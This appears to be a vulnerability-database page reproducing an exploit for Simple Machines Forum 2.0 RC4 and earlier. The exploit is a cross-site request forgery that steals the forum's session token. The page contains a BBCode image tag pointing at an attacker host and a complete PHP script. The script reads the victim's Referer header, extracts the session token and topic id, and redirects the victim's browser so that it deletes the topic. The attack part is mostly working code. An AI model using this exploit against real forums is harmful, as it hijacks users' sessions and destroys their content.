Lucene search
K

Simple Machines Forum <= 2.0 RC4 Sesc theft (XSRF)

🗓️ 08 Jul 2011 00:00:00Reported by Xianur0Type 
zdt
 zdt
🔗 0day.today👁 21 Views

Simple Machines Forum <= 2.0 RC4 Sesc theft (XSRF) exploit by Xianur

Code
# Exploit Title: Simple Machines Forum <= 2.0 RC4 Sesc theft (XSRF)
# Author: Xianur0
# Author Mail: xianur0.null[at] gmail.com
# Software Link: http://www.simplemachines.org

Exploit Code:

[img]http://attacker/exploit.php[/img]

Now need to someone with permissions to cite or edit a message (having the preview turned on) :P


exploit.php:

<?php
// By Xianur0
$imagen = "real-image.jpg";
error_reporting(0);
function delete($path,$topic,$sesc) {
if(!preg_match("/index.php$/",$path)) $path = preg_replace("/\/([^\/]+)$/","/",$path);


header("Location: ".$path."?action=removetopic2;topic=".$topic.";sesc=".$sesc,TRUE,302);
}

function mostrarimagen($imagen) {
header("Content-Type: image/jpeg");
print file_get_contents($imagen);


}

if(isset($_SERVER['HTTP_REFERER']) && !empty($_SERVER['HTTP_REFERER']) && preg_match("/sesc=(.{32})/i",$_SERVER['HTTP_REFERER'],$matches) && preg_match("/topic=([^;]+)/i",$_SERVER['HTTP_REFERER'],$matchess) && preg_match("/^([^\?]+)/i",$_SERVER['HTTP_REFERER'],$matchesss)) {


$sesc = $matches[1];
$topic = $matchess[1];
$path = $matchesss[1];
delete($path,$topic,$sesc);
exit;
}
mostrarimagen($imagen);
?>



#  0day.today [2018-01-01]  #

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

08 Jul 2011 00:00Current
7.1High risk
Vulners AI Score7.1
21